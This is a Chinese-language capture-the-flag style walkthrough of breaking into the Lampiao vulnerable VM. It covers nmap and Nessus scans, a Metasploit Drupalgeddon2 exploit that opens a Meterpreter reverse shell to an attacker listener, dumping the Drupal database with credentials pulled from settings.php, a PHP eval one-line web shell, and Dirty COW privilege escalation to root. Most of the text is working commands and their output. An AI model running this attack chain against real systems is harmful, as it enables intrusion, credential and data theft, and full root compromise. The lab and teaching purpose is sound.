07-Lampiao靶机入侵实战
一、扫描采集信息
1、获取IP地址
nmap -sn 192.168.81.0/24
获得IP地址为:192.168.81.128
2、获取端口信息
由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描
nmap -p 1-65535 192.168.81.128
获取端口号为:22、80、1898
3、获取主机信息
nmap -O 192.168.81.128
得到操作系统版本:OS details: Linux 3.2 - 4.9,只有内核版本号的范围,没有细节
4、漏洞扫描
nmap --script=vuln 192.168.81.128
无果
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
5、Nessus扫描
使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能
最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集
6、使用御剑或dirb扫描路径
┌──(root💀kaliQiang)-[/home/denny]
└─# dirb http://192.168.81.128:1898 /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Dec 1 20:33:33 2021
URL_BASE: http://192.168.81.128:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://192.168.81.128:1898/ ----
==> DIRECTORY: http://192.168.81.128:1898/includes/
==> DIRECTORY: http://192.168.81.128:1898/misc/ ==> DIRECTORY: http://192.168.81.128:1898/modules/ ==> DIRECTORY: http://192.168.81.128:1898/profiles/ + http://192.168.81.128:1898/robots.txt (CODE:200|SIZE:2189) ==> DIRECTORY: http://192.168.81.128:1898/scripts/ + http://192.168.81.128:1898/server-status (CODE:403|SIZE:297) ==> DIRECTORY: http://192.168.81.128:1898/sites/ ==> DIRECTORY: http://192.168.81.128:1898/themes/
7、Acunetix扫描
爆出很多Drupal漏洞
8、确定入侵方向
(1)Nessus并没有提供有效的入侵路线
(2)尝试爆破SSH,无果
(3)直接访问1898的网站,并没有文件上传或SQL注入等漏洞
(4)查找Drupal这套CMS系统,发现网络上存在较多Drupal有关的RCE漏洞,
根据上述漏洞描述,选择一个比较匹配Drupal 7.54版本号的漏洞(MSF中存在的)先进行尝试。
二、使得Drupal获取Shell
1 getshell
msf6> search drupal
msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.81.128
rhosts => 192.168.81.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.112.148:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 192.168.81.128
[*] Meterpreter session 1 opened (192.168.112.148:4444 -> 192.168.81.128:58988) at 2021-12-01 23:37:57 +0800
meterpreter > # 成功反弹Shell进入Meterpreter,初战告捷
meterpreter > getuid # 查看当前用户:www-data,普通用户
meterpreter > shell # 进入主机Shell,此处注意,无提示符
2 拖库
方式一
顺带拖库,根据Drupal的文件结构,查找到/var/www/html/sites/default/settings.php文件中存在数据库连接信息
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'Virgulino',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
尝试运行 mysql -udrupaluser -pVirgulino 进入MySQL命令提示符,可以正常登录,但是发现交互式命令不友好,无法及时回显结果。但是当运行完 show databases; 后虽然无回显,但是当输入 exit; 退出时,回显了结果,数据库名为:drupal,则执行以下命令拖库:
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
运行后提示:
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
/bin/sh: 62: cannot create drupal.sql: Permission denied
说明www-data对当前目录没有写权限,要找一个具备写权限的目录当然是非常容易的事
mysqldump -udrupaluser -pVirgulino drupal > /tmp/drupal.sql
然后下载到本地,完成拖库操作
meterpreter > download /tmp/drupal.sql /home/denny
[*] Downloading: /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.00 MiB of 1.78 MiB (56.21%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.78 MiB of 1.78 MiB (100.0%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] download : /tmp/drupal.sql -> /home/denny/drupal.sql
方式二
也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。
使用 echo "<?phpeval($_POST['a']);?>" > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>
把木马文件上传到靶机
使用蚁剑连接靶机
三、使用Dirty-Cow提权
当获取到Shell后,第一步便是使用getuid来查看当前用户的权限,发现是普通用户:www-data,所以还需要尝试提权。类似于Windows的永恒之蓝漏洞一样,Linux中提权是知名的漏洞便是脏牛漏洞,尝试先从这个方向入手。
1、测试目标主机编译环境
uname -a ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version ==> 得知Python运行环境为:2.7.6
php -v ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码
2、获取脏牛漏洞代码
在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp
3、尝试40847提权
meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > shell
Process 2500 created.
Channel 1 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
40847.cpp
dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
此时,root用户的密码被临时在/etc/passwd进行了修改,密码为:dirtyCowFun
4 登录Lampiao
账号 root
密码 dirtyCowFun
5 使用交互式环境执行
meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > ls
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 43860206036964 fil 232096135363-12-15 11:41:32 +0800 40847.cpp
meterpreter > shell
Process 1428 created.
Channel 2 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls -l
total 52
-rw-r--r-- 1 www-data www-data 10212 Jan 15 06:57 40847.cpp
-rwxr-xr-x 1 www-data www-data 40168 Jan 15 06:57 dcow
python -c 'import pty; pty.spawn( "/bin/bash")'
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFun
Received su prompt (Password: )
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@lampiao:~#